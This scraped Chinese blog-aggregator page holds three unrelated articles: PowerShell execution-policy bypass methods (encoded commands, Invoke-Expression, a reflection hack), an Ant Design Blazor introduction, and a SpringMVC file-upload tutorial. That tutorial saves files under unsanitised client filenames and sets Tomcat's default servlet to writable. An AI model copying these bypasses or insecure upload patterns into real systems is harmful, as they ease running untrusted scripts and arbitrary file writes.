    $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

    $encodedCommand = [Convert]::ToBase64String($bytes)

    $encodedCommand

    powershell.exe -EncodedCommand $encodedCommand

     

     

    示例2:通過簡短的命令使用編碼字符串

    powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcASQB0AHMAIAByAHUAbgAhACcA

     

     

    7、使用Invoke-Command命令
    這是一個典型的通過交互式PowerShell控制台執行的方法。但最主要的是當PowerShell遠程處理開啟時我們可以用它來對遠程系統執行命令。這種技術不會導致配置更改或要求寫入磁盤。

    Invoke-command -scriptblock {Write-Host “Its run!”}

     

     

    8、下面的命令還可以用來抓取從遠程計算機的execution policy並將其應用到本地計算機。

    Invoke-command -computername PAYLOAD\WIN-DC -scriptblock {get-executionpolicy} | set-executionpolicy -force

    這種方式經測試不可行。

    域環境下:

     

    工作組下:

     

     

    9、使用Invoke-Expression命令
    這是另一個典型的通過交互式PowerShell控制台執行的方法。這種技術不會導致配置更改或要求寫入磁盤。下面我列舉了一些常用的方法來通過Invoke-Expression繞過execution policy。

    例1:使用Get-Content的完整命令

    Get-Content .\demo.ps1 | Invoke-Expression

     

     

    示例2:使用Get-Content的簡短命令

    GC .\demo.ps1 | iex

     

     

    10、使用“Bypass”繞過Execution Policy
    當你通過腳本文件執行命令的時候這是一個很好的繞過execution policy的方法。當你使用這個標記的時候”沒有任何東西被阻止,沒有任何警告或提示”。這種技術不會導致配置更改或要求寫入磁盤。

    PowerShell.exe -ExecutionPolicy Bypass -File .\demo.ps1

     

     

    11、使用“Unrestricted”標記Execution Policy
    這類似於”Bypass”標記。當你使用這個標記的時候,它會”加載所有的配置文件並運行所有的腳本。如果你運行從網上下載的一個未被簽名的腳本,它會提示你需要權限”,這種技術不會導致配置的更改或要求寫入磁盤。

    PowerShell.exe -ExecutionPolicy UnRestricted -File .\demo.ps1

     

     

    12、使用“Remote-Signed”標記Execution Policy
    要想繞過執行限制,需要按照如下教程操作對腳本進行数字簽名。

    詳細參考:https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html

    直接使用Remote-signed標記腳本無法運行的

    PowerShell.exe -ExecutionPolicy Remote-signed -File .\demo.ps1

     

     

    13、通過交換AuthorizationManager禁用ExecutionPolicy
    下面的函數可以通過一個交互式的PowerShell來執行。一旦函數被調用”AuthorizationManager”就會被替換成空。最終結果是,接下來的會話基本上不受execution policy的限制。然而,它的變化將被應用於會話的持續時間。

    function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield(“_context”,”nonpublic,instance”).getvalue( $executioncontext)).gettype().getfield(“_authorizationManager”,”nonpublic,instance”).setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager “Microsoft.PowerShell”))}

    Disable-ExecutionPolicy

    .\demo.ps1

     

     

    13、把ExcutionPolicy設置成Process Scope
    執行策略可以應用於多層次的。這包括你控制的過程。使用這種技術,執行策略可以被設置為您的會話的持續時間不受限制。此外,它不會導致配置更改或需要寫入到磁盤。

    Set-ExecutionPolicy Bypass -Scope Process

     

     

    14、通過命令設置ExcutionPolicy為CurrentUser Scope
    這種方法和上面那種類似。但是這種方法通過修改註冊表將當前用戶環境的設置應用到當前用戶的環境中。此外,它不會導致在配置更改或需要寫入到磁盤。

    Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

     

     

    15、通過註冊表設置ExcutionPolicy為CurrentUser Scope
    在這個例子中,展示了如何通過修改註冊表項來改變當前用戶的環境的執行策略。

    HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell

     

     

    總結總結

    使用的execution policy可以幫助我們繞過powershell默認的限制,方便我們對windows更加靈活的管理。微軟從來沒有打算將這種限製作為一種安全控制。這就是為什麼有這麼多方式可以繞過它。

     

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※推薦評價好的iphone維修中心

  • .NET進行客戶端Web開發又一利器 – Ant Design Blazor

    .NET進行客戶端Web開發又一利器 – Ant Design Blazor

    你好,我是Dotnet9,繼上篇介紹Bootstrap風格的BlazorUI組件庫后,今天我來介紹另一款Blazor UI組件庫:一套基於 Ant Design 和 Blazor 的企業級組件庫。

    本文導航:

    • 一、關於Ant Design Blazor
    • 二、Ant Design Blazor的社區貢獻
      • 2.1 項目關注度
      • 2.2 Ant Design官方認可
      • 2.3 微軟官方認可
    • 三、Ant Design Blazor UI庫介紹
    • 四、Ant Design Blazor後續計劃
    • 五、Ant Design Blazor技術交流

    一、關於Ant Design Blazor

    項目名稱:Ant Design Blazor

    項目作者:James Yeung(社區發起者,目前項目參与度高,有較多貢獻者)

    開源許可協議:MIT

    項目地址:https://github.com/ant-design-blazor/ant-design-blazor

    特性

    • 提煉自企業級中後台產品的交互語言和視覺風格。
    • 開箱即用的高質量 Blazor 組件,可在多種託管方式共享。
    • 支持基於 WebAssembly 的客戶端和基於 SignalR 的服務端 UI 事件交互。
    • 支持漸進式 Web 應用(PWA)
    • 使用 C# 構建,多範式靜態語言帶來高效的開發體驗。
    • ️ 基於 .NET Standard 2.1,可直接引用豐富的 .NET 類庫。
    • 可與已有的 ASP.NET Core MVC、Razor Pages 項目無縫集成。

    關於開源協議:MIT

    參考百度百科

    被授權人權利

    被授權人有權利使用、複製、修改、合併、出版發行、散布、再授權及販售軟件及軟件的副本。
    
    被授權人可根據程序的需要修改授權條款為適當的內容。
    

    被授權人義務

    在軟件和軟件的所有副本中都必須包含版權聲明和許可聲明。
    

    其他重要特性

    此授權條款並非屬copyleft的自由軟件授權條款,允許在自由/開放源碼軟件或非自由軟件(proprietary software)所使用。
    
    MIT的內容可依照程序著作權者的需求更改內容。此亦為MIT與BSD(The BSD license, 3-clause BSD license)本質上不同處。
    
    MIT條款可與其他授權條款並存。另外,MIT條款也是自由軟件基金會(FSF)所認可的自由軟件授權條款,與GPL兼容。
    

    二、Ant Design Blazor的社區貢獻

    該庫是國內目前社區宣傳度做的最好的一款Blazor UI組件庫,對於Blazor的社區推廣起到很大的作用,Dotnet9是通過該庫作者的一篇文章《如何用 Blazor 實現 Ant Design 組件庫?》開始關注Blazor的,關於該庫作者的心路歷程,大家可點擊原文了解。

    距離作者發文已有3月之久,文中作者的部分期望應該說是實現了一個個小目標了,也體現在了對社區的貢獻上(對Blazor推廣作用):

    2.1 項目關注度

    作者將庫發布在Github上,README支持中英文,日常代碼提交使用英文,讓全球的.Neter參与其中,使得更多的社區成員開始關注Ant Design Blazor,也使得更多的社區成員開始關注Blazor的發展了。

    庫作者發文時star統計(2020年03月21日)

    3個月後的今天star統計(2020年06月20日)

    2.2 Ant Design官方認可

    原文作者的小期望:

    在為了與官方高度一致上的努力,還會繼續。希望有一天能在豐富 Blazor 生態的同時,還能成為被 Ant Design 生態認可的框架實現,能成為他們 Design 夢的一個延續。

    Ant Design官方前端實現介紹鏈接

    2.3 微軟官方認可

    微軟Build2020開發者大會Blazor介紹中,提及Ant Design Pro。

    一圖勝千言,得到微軟認可是對作者最大的獎勵,也是對社區的最好宣傳。

    三、Ant Design Blazor UI庫組件介紹

    Ant Design Blazor UI組件瀏覽地址:https://ant-design-blazor.github.io/

    Ant Design Blazor的開發初衷是盡量與Ant Design組件庫一致,可對比查看:Ant Design

    下面只對部分組件截圖介紹,更多組件請戳上面鏈接查看:

    3.1 首頁介紹

    網站風格和Ant Design官網高度一致,更方便熟悉Ant Design組件的朋友使用。

    3.2 組件概覽

    組件整體印象,這隻是其中一部分,豐富的組件需要點擊Ant Design Blazor了解更多喲。

    四、Ant Design Blazor後續計劃

    目前組件開發基本已經完成,可應用於常規項目開發,組件庫後續計劃:

    • 6月底發布0.1版本;
    • 添加測試、完善文檔、企業級應用和反饋;
    • 完成一個開箱即用的模板(偉大目標,像Ant Design Pro靠攏);
    • 添加頁面生成工具,類似UMI添加block,查看Ant Design的區塊介紹。

    五、Ant Design Blazor技術交流

    • 微信群
      可添加作者微信號拉你入群:JamesYeungMVP

    • 釘釘群

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

    台北網頁設計公司這麼多該如何選擇?

    ※智慧手機時代的來臨,RWD網頁設計為架站首選

    ※評比南投搬家公司費用收費行情懶人包大公開

    ※回頭車貨運收費標準

  • SpringMVC之文件上傳

    SpringMVC之文件上傳

    一、環境搭建

    1、新建項目

    (1)在” main”目錄下新建” java”與” resources”目錄

    (2)將” java”設置為”Sources Root”

    (3)將” resources”設置為”Resources Root”

    (4)在”java”目錄下新建”StudyProject.Controller”包

    (5)在”StudyProject.Controller”包下新建”TestController”類

    (6)在”resources”目錄下新建”Spring.xml”

    (7)在”WEB-INF”目錄下新建文件夾”Pages”

    (8)在“Pages”目錄下新建”success.jsp”

    2、整體框架

    3、TestController類和success.jsp

    (1)TestController類

    原代碼

    1 package StudyProject.Controller;
    2 
    3 public class TestController {
    4 }

    編寫前端控制器及路徑

    修改后

    1 package StudyProject.Controller;
    2 
    3 import org.springframework.stereotype.Controller;
    4 import org.springframework.web.bind.annotation.RequestMapping;
    5 
    6 @Controller
    7 @RequestMapping(path="/testController")
    8 public class TestController {
    9 }

    (2)success.jsp

    原代碼

    1 <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    2 <html>
    3 <head>
    4     <title>Title</title>
    5 </head>
    6 <body>
    7 
    8 </body>
    9 </html>

    添加一個跳轉成功提示

    修改后

     1 <%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
     2 <html>
     3 <head>
     4     <title>Title</title>
     5 </head>
     6 <body>
     7 
     8     <h3>跳轉成功</h3>
     9 
    10 </body>
    11 </html>

    4、配置文件

    (1)pom.xml

    原代碼

    1   <properties>
    2     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    3     <maven.compiler.source>1.7</maven.compiler.source>
    4     <maven.compiler.target>1.7</maven.compiler.target>
    5   </properties>

    修改版本,並且加上spring.version

    修改后

    1   <properties>
    2     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    3     <maven.compiler.source>14.0.1</maven.compiler.source>
    4     <maven.compiler.target>14.0.1</maven.compiler.target>
    5     <spring.version>5.0.2.RELEASE</spring.version>
    6   </properties>

    原代碼

    1   <dependencies>
    2     <dependency>
    3       <groupId>junit</groupId>
    4       <artifactId>junit</artifactId>
    5       <version>4.11</version>
    6       <scope>test</scope>
    7     </dependency>
    8   </dependencies>

    在<dependencies></dependency>里加入坐標依賴,原有的可以刪去

    修改后

     1   <!-- 導入坐標依賴 -->
     2   <dependencies>
     3     <dependency>
     4       <groupId>org.springframework</groupId>
     5       <artifactId>spring-context</artifactId>
     6       <version>${spring.version}</version>
     7     </dependency>
     8     <dependency>
     9       <groupId>org.springframework</groupId>
    10       <artifactId>spring-web</artifactId>
    11       <version>${spring.version}</version>
    12     </dependency>
    13     <dependency>
    14       <groupId>org.springframework</groupId>
    15       <artifactId>spring-webmvc</artifactId>
    16       <version>${spring.version}</version>
    17     </dependency>
    18     <dependency>
    19       <groupId>javax.servlet</groupId>
    20       <artifactId>servlet-api</artifactId>
    21       <version>2.5</version>
    22       <scope>provided</scope>
    23     </dependency>
    24     <dependency>
    25       <groupId>javax.servlet.jsp</groupId>
    26       <artifactId>jsp-api</artifactId>
    27       <version>2.0</version>
    28       <scope>provided</scope>
    29     </dependency>
    30   </dependencies>

    (2)web.xml

    原代碼

    1 <!DOCTYPE web-app PUBLIC
    2  "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    3  "http://java.sun.com/dtd/web-app_2_3.dtd" >
    4 
    5 <web-app>
    6   <display-name>Archetype Created Web Application</display-name>
    7 </web-app>

    配置前段控制器與解決中文亂碼的過濾器

    修改后

     1 <!DOCTYPE web-app PUBLIC
     2  "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
     3  "http://java.sun.com/dtd/web-app_2_3.dtd" >
     4 
     5 <web-app>
     6   <display-name>Archetype Created Web Application</display-name>
     7 
     8   <!--配置解決中文亂碼的過濾器-->
     9   <filter>
    10     <filter-name>characterEncodingFilter</filter-name>
    11     <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
    12     <init-param>
    13       <param-name>encoding</param-name>
    14       <param-value>UTF-8</param-value>
    15     </init-param>
    16   </filter>
    17   <filter-mapping>
    18   <filter-name>characterEncodingFilter</filter-name>
    19   <url-pattern>/*</url-pattern>
    20   </filter-mapping>
    21 
    22   <!-- 配置前端控制器 -->
    23   <servlet>
    24     <servlet-name>dispatcherServlet</servlet-name>
    25     <!-- 創建前端控制器DispatcherServlet對象 -->
    26     <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    27     <!-- 使前端控制器初始化時讀取Spring.xml文件創建Spring核心容器 -->
    28     <init-param>
    29       <param-name>contextConfigLocation</param-name>
    30       <param-value>classpath*:Spring.xml</param-value>
    31     </init-param>
    32     <!-- 設置該Servlet的優先級別為最高,使之最早創建(在應用啟動時就加載並初始化這個servlet -->
    33     <load-on-startup>1</load-on-startup>
    34   </servlet>
    35   <servlet-mapping>
    36     <servlet-name>dispatcherServlet</servlet-name>
    37     <url-pattern>/</url-pattern>
    38   </servlet-mapping>
    39 
    40 </web-app>

    (3)Spring.xml

    原代碼

    1 <?xml version="1.0" encoding="UTF-8"?>
    2 <beans xmlns="http://www.springframework.org/schema/beans"
    3        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    4        xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    5 
    6 </beans>

    配置spring創建容器時掃描的包、視圖解析器、開啟spring註解支持等

    修改后

     1 <?xml version="1.0" encoding="UTF-8"?>
     2 <beans xmlns="http://www.springframework.org/schema/beans"
     3        xmlns:mvc="http://www.springframework.org/schema/mvc"
     4        xmlns:context="http://www.springframework.org/schema/context"
     5        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
     6        xsi:schemaLocation="
     7         http://www.springframework.org/schema/beans
     8         http://www.springframework.org/schema/beans/spring-beans.xsd
     9         http://www.springframework.org/schema/mvc
    10         http://www.springframework.org/schema/mvc/spring-mvc.xsd
    11         http://www.springframework.org/schema/context
    12         http://www.springframework.org/schema/context/spring-context.xsd">
    13 
    14     <!-- 配置spring創建容器時掃描的包 -->
    15     <context:component-scan base-package="StudyProject.Controller"></context:component-scan>
    16 
    17     <!-- 配置視圖解析器,用於解析項目跳轉到的文件的位置 -->
    18     <bean id="viewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
    19         <!-- 尋找包的路徑 -->
    20         <property name="prefix" value="/WEB-INF/pages/"></property>
    21         <!-- 尋找文件的後綴名 -->
    22         <property name="suffix" value=".jsp"></property>
    23     </bean>
    24 
    25     <!-- 配置spring開啟註解mvc的支持 -->
    26     <mvc:annotation-driven></mvc:annotation-driven>
    27 </beans>

    5、Tomcat服務器(本地已建SpringMVC項目,Spring_MVC項目僅做示範)

    點擊”Add Configurations”配置Tomcat服務器

    二、文件上傳

    1、傳統方式上傳文件

    (1)TestController類

    在控制器內部新增”testMethod_Traditional”方法

     1 @Controller
     2 @RequestMapping(path="/testController")
     3 public class TestController {
     4 
     5     @RequestMapping(path="/testMethod_Traditional")
     6     public String testMethod_Traditional(HttpServletRequest request) throws Exception {
     7         System.out.println("執行了testMethod_Traditional方法");
     8 
     9         //獲取文件上傳目錄
    10         String path = request.getSession().getServletContext().getRealPath("/uploads");
    11         //創建file對象
    12         File file = new File(path);
    13         //判斷路徑是否存在,若不存在,創建該路徑
    14         if (!file.exists()) {
    15             file.mkdir();
    16         }
    17 
    18         //創建磁盤文件項工廠
    19         DiskFileItemFactory factory = new DiskFileItemFactory();
    20         ServletFileUpload fileUpload = new ServletFileUpload(factory);
    21         //解析request對象
    22         List<FileItem> list = fileUpload.parseRequest(request);
    23         //遍歷
    24         for (FileItem fileItem:list) {
    25             // 判斷文件項是普通字段,還是上傳的文件
    26             if (fileItem.isFormField()) {
    27                 //普通字段
    28             } else {
    29                 //上傳文件項
    30                 //獲取上傳文件項的名稱
    31                 String filename = fileItem.getName();
    32                 String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
    33                 filename = uuid+"_"+filename;
    34                 //上傳文件
    35                 fileItem.write(new File(file,filename));
    36                 //刪除臨時文件
    37                 fileItem.delete();
    38             }
    39         }
    40 
    41         System.out.println("上傳路徑:"+path);
    42         System.out.println("上傳成功");
    43         return "success";
    44     }
    45 
    46 }

    (2)index.jsp

    添加form表單

    1     <form action="testController/testMethod_Traditional" method="post" enctype="multipart/form-data">
    2         圖片 <input type="file" name="uploadfile_Traditional"> <br>
    3         <input type="submit" value="傳統方式上傳文件">
    4     </form>

    (3)結果演示

    點擊服務器”SpringMVC”右側的運行按鈕

    選擇文件然後進行上傳

    點擊上傳按鈕后,執行成功,跳到”success.jsp”界面显示跳轉成功

    在IDEA輸出台查看文件路徑

    按照路徑查看文件是否上傳成功

    2、SpringMVC方式上傳文件

    (1)pom.xml添加文件上傳坐標依賴

    在pom.xml文件<dependencies></dependencies>內添加文件上傳坐標依賴

     1     <!-- 文件上傳 -->
     2     <dependency>
     3       <groupId>commons-fileupload</groupId>
     4       <artifactId>commons-fileupload</artifactId>
     5       <version>1.3.1</version>
     6     </dependency>
     7     <dependency>
     8       <groupId>commons-io</groupId>
     9       <artifactId>commons-io</artifactId>
    10       <version>2.4</version>
    11     </dependency>

    (2)Spring.xml配置文件解析器對象

    在Spring.xml文件<beans></beans>內配置文件解析器對象

    1     <!-- 配置文件解析器對象 -->
    2     <bean id="multipartResolver"
    3           class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
    4         <property name="defaultEncoding" value="utf-8"></property>
    5         <property name="maxUploadSize" value="10485760"></property>
    6     </bean>

    (3)TestController類

    在控制器內部新增”testMethod_SpringMVC”方法

     1 @Controller
     2 @RequestMapping(path="/testController")
     3 public class TestController {
     4 
     5     @RequestMapping(path="/testMethod_SpringMVC")
     6     public String testMethod_SpringMVC(HttpServletRequest request,MultipartFile uploadfile_SpringMVC) throws Exception {
     7         System.out.println("執行了testMethod_SpringMVC方法");
     8 
     9         //獲取文件上傳目錄
    10         String path = request.getSession().getServletContext().getRealPath("/uploads");
    11         //創建file對象
    12         File file = new File(path);
    13         //判斷路徑是否存在,若不存在,創建該路徑
    14         if (!file.exists()) {
    15             file.mkdir();
    16         }
    17 
    18         //獲取到上傳文件的名稱
    19         String filename = uploadfile_SpringMVC.getOriginalFilename();
    20         String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
    21         filename = uuid+"_"+filename;
    22         //上傳文件
    23         uploadfile_SpringMVC.transferTo(new File(file,filename));
    24 
    25         System.out.println("上傳路徑:"+path);
    26         System.out.println("上傳成功");
    27         return "success";
    28     }
    29 
    30 }

    (4)index.jsp

    添加form表單

    1     <form action="testController/testMethod_SpringMVC" method="post" enctype="multipart/form-data">
    2         圖片 <input type="file" name="uploadfile_SpringMVC"> <br>
    3         <input type="submit" value="SpringMVC上傳文件">
    4     </form>

    (5)結果演示

    點擊服務器”SpringMVC”右側的運行按鈕

    選擇文件然後進行上傳

    點擊上傳按鈕后,執行成功,跳到”success.jsp”界面显示跳轉成功

    在IDEA輸出台查看文件路徑

    按照路徑查看文件是否上傳成功

    3、跨服務器上傳文件

    (1)新建”FileuploadServer”項目(過程不再演示)

    不需要建立”java””resources”等文件夾,只需要”index.jsp”显示界面即可

    “index.jsp”代碼

    1 <html>
    2 <body>
    3 <h2>Hello! FileuploadServer</h2>
    4 </body>
    5 </html>

    (2)配置服務器

    點擊”Edit Configurations”配置Tomcat服務器

    為與”SpringMVC”服務器區分,修改”HTTP port”為”9090”,修改”JMX port”為”1090”

    (3)pom.xml添加跨服務器文件上傳坐標依賴

     1     <!-- 跨服務器文件上傳 -->
     2     <dependency>
     3       <groupId>com.sun.jersey</groupId>
     4       <artifactId>jersey-core</artifactId>
     5       <version>1.18.1</version>
     6     </dependency>
     7     <dependency>
     8       <groupId>com.sun.jersey</groupId>
     9       <artifactId>jersey-client</artifactId>
    10       <version>1.18.1</version>
    11     </dependency>

    (4)TestController類

    在控制器內部新增”testMethod_AcrossServer”方法

     1 @Controller
     2 @RequestMapping(path="/testController")
     3 public class TestController {
     4 
     5     @RequestMapping(path="/testMethod_AcrossServer")
     6     public String testMethod_AcrossServer(MultipartFile uploadfile_AcrossServer) throws Exception {
     7         System.out.println("執行了testMethod_AcrossServer方法");
     8 
     9         //定義上傳文件服務器路徑
    10         String path = "http://localhost:9090/FileuploadServer_war_exploded/uploads/";
    11 
    12         //獲取到上傳文件的名稱
    13         String filename = uploadfile_AcrossServer.getOriginalFilename();
    14         String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
    15         filename = uuid+"_"+filename;
    16 
    17         //創建客戶端對象
    18         Client client = Client.create();
    19         //連接圖片服務器
    20         WebResource webResourcer = client.resource(path+filename);
    21         //向圖片服務器上傳文件
    22         webResourcer.put(uploadfile_AcrossServer.getBytes());
    23 
    24         System.out.println("上傳路徑:"+path);
    25         System.out.println("上傳成功");
    26         return "success";
    27     }
    28 
    29 }

    (5)index.jsp

    添加form表單

    1     <form action="testController/testMethod_AcrossServer" method="post" enctype="multipart/form-data">
    2         圖片 <input type="file" name="uploadfile_AcrossServer"> <br>
    3         <input type="submit" value="跨服務器上傳文件">
    4     </form>

    (6)結果演示

    運行”FileuploadServer”服務器

    運行”SpringMVC”服務器

    在”FileuploadServer”項目的”target/FileuploadServer/”目錄下新建文件夾”uploads”

    選擇文件並進行上傳,上傳成功跳轉到”success.jsp”

    查看IDEA輸出信息

    此時路徑應為”FileuploadServer/target/FileuploadServer/uploads”,在路徑下查看文件是否上傳成功

    三、注意事項

    1、傳統方式上傳文件

    傳統方式上傳時不需要在Spring.xml內配置文件解析器對象使用該方法時需要註釋掉該對象,否則會造成運行成功但上傳文件為空。

    1     <!-- 配置文件解析器對象 -->
    2     <bean id="multipartResolver"
    3           class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
    4         <property name="defaultEncoding" value="utf-8"></property>
    5         <property name="maxUploadSize" value="10485760"></property>
    6     </bean>

    即使用傳統方式上傳文件時,應當註釋掉該段代碼

    2、跨服務器上傳文件

    (1)需要修改Tomcat服務器的web.xml配置文件的權限,增加可以寫入的權限,否則會出現405的錯誤。如我所下載的Tomcat-9.0.36的web.xml路徑為”apache-tomcat-9.0.36/conf/web.xml”

    此時IEDA輸出為

    web.xml文件修改處原內容

    應修改為

    修改后的代碼

     1     <servlet>
     2         <servlet-name>default</servlet-name>
     3         <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
     4         <init-param>
     5             <param-name>debug</param-name>
     6             <param-value>0</param-value>
     7         </init-param>
     8         <init-param>
     9             <param-name>listings</param-name>
    10             <param-value>false</param-value>
    11         </init-param>
    12         <init-param>
    13             <param-name>readonly</param-name>
    14             <param-value>false</param-value>
    15         </init-param>
    16         <load-on-startup>1</load-on-startup>
    17     </servlet>

    (2)在跨服務器上傳文件時,需要在”FileuploadServer”項目的”target/FileuploadServer/”目錄下新建文件夾”uploads”,否則會出現409的錯誤

    四、完整代碼

    1、pom.xml(SpringMVC)

      1 <?xml version="1.0" encoding="UTF-8"?>
      2 
      3 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      4   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
      5   <modelVersion>4.0.0</modelVersion>
      6 
      7   <groupId>org.example</groupId>
      8   <artifactId>SpringMVC</artifactId>
      9   <version>1.0-SNAPSHOT</version>
     10   <packaging>war</packaging>
     11 
     12   <name>SpringMVC Maven Webapp</name>
     13   <!-- FIXME change it to the project's website -->
     14   <url>http://www.example.com</url>
     15 
     16   <properties>
     17     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
     18     <maven.compiler.source>14.0.1</maven.compiler.source>
     19     <maven.compiler.target>14.0.1</maven.compiler.target>
     20     <spring.version>5.0.2.RELEASE</spring.version>
     21   </properties>
     22 
     23   <!-- 導入坐標依賴 -->
     24   <dependencies>
     25     <dependency>
     26       <groupId>org.springframework</groupId>
     27       <artifactId>spring-context</artifactId>
     28       <version>${spring.version}</version>
     29     </dependency>
     30     <dependency>
     31       <groupId>org.springframework</groupId>
     32       <artifactId>spring-web</artifactId>
     33       <version>${spring.version}</version>
     34     </dependency>
     35     <dependency>
     36       <groupId>org.springframework</groupId>
     37       <artifactId>spring-webmvc</artifactId>
     38       <version>${spring.version}</version>
     39     </dependency>
     40     <dependency>
     41       <groupId>javax.servlet</groupId>
     42       <artifactId>servlet-api</artifactId>
     43       <version>2.5</version>
     44       <scope>provided</scope>
     45     </dependency>
     46     <dependency>
     47       <groupId>javax.servlet.jsp</groupId>
     48       <artifactId>jsp-api</artifactId>
     49       <version>2.0</version>
     50       <scope>provided</scope>
     51     </dependency>
     52 
     53     <!-- 文件上傳(採用傳統方式上傳時需註釋掉該部分) -->
     54     <dependency>
     55       <groupId>commons-fileupload</groupId>
     56       <artifactId>commons-fileupload</artifactId>
     57       <version>1.3.1</version>
     58     </dependency>
     59     <dependency>
     60       <groupId>commons-io</groupId>
     61       <artifactId>commons-io</artifactId>
     62       <version>2.4</version>
     63     </dependency>
     64 
     65     <!-- 跨服務器文件上傳 -->
     66     <dependency>
     67       <groupId>com.sun.jersey</groupId>
     68       <artifactId>jersey-core</artifactId>
     69       <version>1.18.1</version>
     70     </dependency>
     71     <dependency>
     72       <groupId>com.sun.jersey</groupId>
     73       <artifactId>jersey-client</artifactId>
     74       <version>1.18.1</version>
     75     </dependency>
     76 
     77   </dependencies>
     78 
     79   <build>
     80     <finalName>SpringMVC</finalName>
     81     <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
     82       <plugins>
     83         <plugin>
     84           <artifactId>maven-clean-plugin</artifactId>
     85           <version>3.1.0</version>
     86         </plugin>
     87         <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
     88         <plugin>
     89           <artifactId>maven-resources-plugin</artifactId>
     90           <version>3.0.2</version>
     91         </plugin>
     92         <plugin>
     93           <artifactId>maven-compiler-plugin</artifactId>
     94           <version>3.8.0</version>
     95         </plugin>
     96         <plugin>
     97           <artifactId>maven-surefire-plugin</artifactId>
     98           <version>2.22.1</version>
     99         </plugin>
    100         <plugin>
    101           <artifactId>maven-war-plugin</artifactId>
    102           <version>3.2.2</version>
    103         </plugin>
    104         <plugin>
    105           <artifactId>maven-install-plugin</artifactId>
    106           <version>2.5.2</version>
    107         </plugin>
    108         <plugin>
    109           <artifactId>maven-deploy-plugin</artifactId>
    110           <version>2.8.2</version>
    111         </plugin>
    112       </plugins>
    113     </pluginManagement>
    114   </build>
    115 </project>

    2、web.xml(SpringMVC)

     1 <!DOCTYPE web-app PUBLIC
     2  "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
     3  "http://java.sun.com/dtd/web-app_2_3.dtd" >
     4 
     5 <web-app>
     6   <display-name>Archetype Created Web Application</display-name>
     7 
     8   <!--配置解決中文亂碼的過濾器-->
     9   <filter>
    10     <filter-name>characterEncodingFilter</filter-name>
    11     <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
    12     <init-param>
    13       <param-name>encoding</param-name>
    14       <param-value>UTF-8</param-value>
    15     </init-param>
    16   </filter>
    17   <filter-mapping>
    18   <filter-name>characterEncodingFilter</filter-name>
    19   <url-pattern>/*</url-pattern>
    20   </filter-mapping>
    21 
    22   <!-- 配置前端控制器 -->
    23   <servlet>
    24     <servlet-name>dispatcherServlet</servlet-name>
    25     <!-- 創建前端控制器DispatcherServlet對象 -->
    26     <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    27     <!-- 使前端控制器初始化時讀取Spring.xml文件創建Spring核心容器 -->
    28     <init-param>
    29       <param-name>contextConfigLocation</param-name>
    30       <param-value>classpath*:Spring.xml</param-value>
    31     </init-param>
    32     <!-- 設置該Servlet的優先級別為最高,使之最早創建(在應用啟動時就加載並初始化這個servlet -->
    33     <load-on-startup>1</load-on-startup>
    34   </servlet>
    35   <servlet-mapping>
    36     <servlet-name>dispatcherServlet</servlet-name>
    37     <url-pattern>/</url-pattern>
    38   </servlet-mapping>
    39 
    40 </web-app>

    3、Spring.xml(SpringMVC)

     1 <?xml version="1.0" encoding="UTF-8"?>
     2 <beans xmlns="http://www.springframework.org/schema/beans"
     3        xmlns:mvc="http://www.springframework.org/schema/mvc"
     4        xmlns:context="http://www.springframework.org/schema/context"
     5        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
     6        xsi:schemaLocation="
     7         http://www.springframework.org/schema/beans
     8         http://www.springframework.org/schema/beans/spring-beans.xsd
     9         http://www.springframework.org/schema/mvc
    10         http://www.springframework.org/schema/mvc/spring-mvc.xsd
    11         http://www.springframework.org/schema/context
    12         http://www.springframework.org/schema/context/spring-context.xsd">
    13 
    14     <!-- 配置spring創建容器時掃描的包 -->
    15     <context:component-scan base-package="StudyProject.Controller"></context:component-scan>
    16 
    17     <!-- 配置視圖解析器,用於解析項目跳轉到的文件的位置 -->
    18     <bean id="viewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
    19         <!-- 尋找包的路徑 -->
